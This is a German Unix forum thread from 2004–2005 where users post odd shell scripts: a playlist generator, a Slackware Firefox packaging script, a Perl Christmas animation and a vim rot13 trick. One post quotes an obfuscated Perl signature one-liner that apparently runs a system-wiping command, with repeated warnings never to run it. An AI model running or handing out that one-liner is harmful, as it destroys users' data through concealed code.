BlackBoard (http://www.black-board.net/index.php)
- Computerecke (http://www.black-board.net/board.php?boardid=30)
-- Betriebssysteme (http://www.black-board.net/board.php?boardid=11)
--- Weird Scripting Corner (http://www.black-board.net/thread.php?threadid=19452)


Geschrieben von Black Star am 19.12.2004 um 23:06:

  Weird Scripting Corner

Hier koennt ihr eure abgefahrensten Shell-Scripte posten.
Sinn und Zweck ist egal, hauptsache es sieht richtig freakig aus smile

Dahinter steckt, dass jeder mal sehen kann zu was die *nix-Shells mit ihren vielen Werkzeugen faehig sind. Auch kann man sich, sobald sich hier mal einiges angesammelt hat, Bausteine fuer seine eigenen Scripte zusammensuchen, da viele Ideen/Tricks doch relativ haeufig auftreten.

Falls ihr Bash-3 oder perl oder sonst was fuer neue Tools verwenden solltet, dann schreibt es fett dran, damit keiner wahnsinnig wird, falls was nicht klappt.

Ein Post pro Script, bitte keine Fragen in diesem Thread. Schreibt kurz dran, was das soll und mit welchen Tricks ihr das Problem geloest habt. Doppelposts sind also zulaessig, wenn ihr zwei sinnvolle Scripte auf einmal vorstellt.
Bitte den Quellcode nicht uebermaessig kommentieren, da es die Lesbarkeit stoert und das freakige Aussehen von Shell-Scripten zerstoert großes Grinsen
Shell-Scripte muessen kryptisch aussehen und einen verwirren *fg*

Ich werde in diesem Post eine Art Inhaltsverzeichnis der bemerkenswerten Scripte erstellen.


Nochmal: Bitte keine Fragen in diesem Thread - nur Scripte!
Fragen koennen im Support-Thread zu diesem Thread gestellt werden, damit die Scripte halbwegs kompakt beisammen sind und nicht dauernd von Fragen unterbrochen werden.



Geschrieben von phlox81 am 19.12.2004 um 23:25:

 

nicht von mir, aber freakig...

ein gentoo installskript, - wohl von mir ungetestet -

http://volkard.de/gentoo/



Geschrieben von Black Star am 19.12.2004 um 23:26:

 

Dann habe ich auch gleich das erste Script im Angebot: Einen Playlist-Generator.

Ich habe meine mp3/ogg-Datein in einem Verzichnisbaum in der Form /<pfad zum verzeichnis>/<Anfangsbuchstabe der Band>/<Band>/<Album>[/<CD1,2,...>]
In einem anderen Verzeichnis sollen Playslists der Form <Band> - <Album>[ - CD1,2,..].m3u erstellt werden.

Dazu lasse ich eine Schleife ueber alle Verzeichnisse laufen, wobei ich Leerzeichen substituieren muss, da die for-Schleife das Leerzeichen als Seperator benutzt. In der Schleife muessen dann die Leerzeichen zuruecksubstituiert werden.
Dann wird gecheckt, ob dieses Verzichnis mp3 oder ogg-Files enthaelt und eine Playlist erstellt. Dann wird geprueft, ob alles geklappt hat.
Zum Schluss wird eine kleine Statistik ausgegeben.


Vorraussetzungen: keine ungewoehnlichen (bash, find, sed)
Trap: 1) Das find, das die Playlist erstellt, muss durch einen sort gepiped werden, da for ... `find ....` nicht sortiert ist. Die Dateinamen muessen also sortierbar sein, ohne dass die Struktur des Albums zerstoert wird, dh. die Dateinamen muessen am Anfang durchnummeriert sein, was allerdings Standard ist.
2) Wer eine andere Struktur verwendet, muss ein paar Sachen anpassen.
In Zeile 26 wird der Dateiname der m3u-Datei erzeugt. Wer Dateibaeume der Form <pfad>/<band>/<album> hat (und nicht wie ich <pfad>/<anfangsbuchstabe>/<band>/<album>), muss beim ersten sed das \/. rausnehmen (der Punkt steht fuer ein beliebiges Zeichen, also hier den Anfangsbuchstaben).
3) Die erste Bedingung (Zeile 18 ) siebt Verzeichnisse aus, die man nicht beruecksichtigen will, bei mir solche die mit einem Leerzeichen anfangen - wers nicht braucht kanns auch rausschmeissen
4) Als Seperator fuer sed habe ich den Doppelpunkt verwendet, da ich einfach mal angenommen habe, dass der am seltensten vorkommt. Falls doch, habt ihr ein ProblemAugenzwinkern

code:
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
#!/bin/bash

# search and output path
media_path=/media/Mp3
m3u_path=.

# init some counters
c_error=0
c_m3u=0
c_m3udamag=0
c_lost=0
c_all=0
c_ok=0
c_dirs=0

for i in `find $media_path -type d | sed "s/ /%%blank%%/g"`; do
	path=`echo $i | sed "s/%%blank%%/ /g"`;
	[ `echo $path | grep -c "$media_path/ "` -eq 1 ] && \
	{
		echo "omitting $path..."
	} || {
		files=`find "$path" -maxdepth 1 -iname '*.mp3' -o -iname '*.ogg' | grep -c ""`
 		[ $files -gt 0 ] && \
 		{
  			echo "found $files files in $path..."
 			filename=`echo $path | sed "s:$media_path\/.\/::" | sed "s:/: - :g" | sed "s:_: :g"` &&
			{
				filename="$m3u_path/$filename.m3u"
				echo ">>> creating $filename..."
				echo "#EXTM3U" > "$filename"
				find "$path" -maxdepth 1 -iname '*.mp3' -o -iname '*.ogg' | sort >> "$filename"
				c_m3u=$(($c_m3u+1))
				echo -n ">>> checking file..."
				c_count=1
				for j in `cat "$filename" | grep -v -e "^#" | sed "s/ /%%blank%%/g"`; do
					file=`echo $j | sed "s/%%blank%%/ /g"`
					[ -e "$file" ] && \
					{ 
						echo -n "$c_count "
						c_ok=$(($c_ok+1))
					} || {
						echo -e "\nLOST FILE: $file"
						c_lost=$(($c_lost+1))
					}
					c_count=$(($c_count+1))
					c_all=$(($c_all+1))
				done
				echo
 			} || {
 				echo "FAILED: could not parse $path!"
 				c_error=$(($c_error+1))
 			}
		} || {
		
			echo "omitting empty path $path..."
		}
	}
	c_dirs=$(($c_dirs+1))
done

echo "done - processed $c_dirs directories, created $c_m3u m3u-files, linked $c_all files, $c_lost files lost, $c_ok files ok, $c_error strange errors"


TODO: id3-tags in die Playlists einbauen.



Geschrieben von Rudolf am 08.06.2005 um 22:44:

 

code:
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
#!/bin/sh
CWD=`pwd`
TMP=${TMP:-/tmp}
PKG=$TMP/package-mozilla-firefox

# This is not a source build script.  Rather, it builds a Slackware
# package from the official binary tarball available from mozilla.org.
# Using the official binaries seems like the most direct way to satify
# the Mozilla project's concerns about quality control (and thus to
# provide the most quality-certified package possible), and therefore
# be able to use the official trademarks and logos.
#
# Thanks to the folks at the Mozilla Foundation for permission to
# distribute this, and for all the great work!  :)

VERSION=1.0.4
ARCH=${ARCH:-i686}
BUILD=1

if [ ! -d $TMP ]; then
  mkdir -p $TMP
fi
rm -rf $PKG
mkdir -p $PKG/usr/lib
( cd $PKG/usr/lib
  tar xzf $CWD/firefox-$VERSION.tar.gz
  mv firefox firefox-$VERSION
  ln -sf firefox-$VERSION firefox
  cd firefox-$VERSION
  zcat $CWD/mozilla-firefox-simple.diff.gz | patch -p1 --verbose --backup --suffix=.orig
  if [ ! $? = 0 ]; then
    exit 1
  fi
  zcat $CWD/mozilla-firefox-thunderbird.diff.gz | patch -p1 --verbose --suffix=.orig
  if [ ! $? = 0 ]; then
    exit 1
  fi
  rm -f defaults/pref/firefox.js.orig
)
if [ ! $? = 0 ]; then
  exit 1
fi
mkdir -p $PKG/usr/bin
( cd $PKG/usr/bin
  ln -sf /usr/lib/firefox-$VERSION/firefox .
  chown -R root:bin .
)
mkdir -p $PKG/usr/share/applications
cat $CWD/mozilla-firefox.desktop > $PKG/usr/share/applications/mozilla-firefox.desktop
mkdir -p $PKG/usr/share/pixmaps
cat $CWD/firefox.png > $PKG/usr/share/pixmaps/firefox.png
mkdir $PKG/install
cat $CWD/slack-desc > $PKG/install/slack-desc

cd $PKG
makepkg -l y -c n $TMP/mozilla-firefox-$VERSION-$ARCH-$BUILD.tgz


Hier mal ein typisches Slackware Kompilierscript. Augenzwinkern

Es ist also normal, wenn der SuSe User nicht versteht, was hier gemacht wird Augenzwinkern



Geschrieben von PygoscelisPapua am 08.06.2005 um 23:56:

 

Hm... da hab ich auch was eher lustiges... ist nicht von mir - das hatte mal jemand in seiner Signatur auf nem Board, mit dem Hinweis, dass man dieses Skript NICHT benutzen sollte... ich wiederhole es: N I C H T - wer es doch tut, tuts auf eigene Verantwortung und kann weder mich noch den Ersteller dieses Skript für Systemschäden verantwortlich machen.
Die Signatur ist:
Zitat:
perl -e '$??s:;s:s;;$?::s;;=]=<%-{>-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Man sollte nicht alles ausfuehren was man in einer Signature liest.


Sieht extrem freakig aus, und vor allem, sieht man nicht, was es eigentlich tut [und das was es tut, könnte man auch mit einem Befehl ganz leicht ausführen *fg* - also einen tieferen Sinn, außer User nen fiesen Streich spielen, hat das Skript nicht].

Ich sage es nochmal Benutzt dieses Skript N I C H T !


Wer wissen möchte, was das jetzt macht, der schaue hier. Wer jetzt noch n bissln was zum lachen haben möchte, findet des hier.



Geschrieben von Misel am 09.06.2005 um 10:44:

 

shamelessly plugged from another forum:

code:
1:
perl -e '$n="\e[0;40;32m";for(1..10){print"\ec$n\n".$"x(15)."\e[1;35mY$n" .$"x15;for(1..8){print$/.$"x($a=16-$_);$c=int rand($d=2*$_);for(2..$d){$f=31+int rand(3);print($_-$c?"X":"\e[$f;1m*$n")}print$"x$a}print $/.$"x(31)."\e[0m\n".$"." Merry Christmas ".$/x2;select$q,$q,$q,0.5}'


ja, diesen Code kann man ausführen. Ist aber nicht die korrekte Jahreszeit dafür Augenzwinkern



Geschrieben von LX am 09.06.2005 um 14:10:

Achtung

Auch wenn's dem Sinn dieses Threads irgendwie widerspricht...

code:
1:
vim -c ":%s/^/UryybDJbeyqB:QE-CYK/|:%s/[B-E]/ /Ig|:normal ggVGg?"


Forensoftware: Burning Board 2.3.6, entwickelt von WoltLab GmbH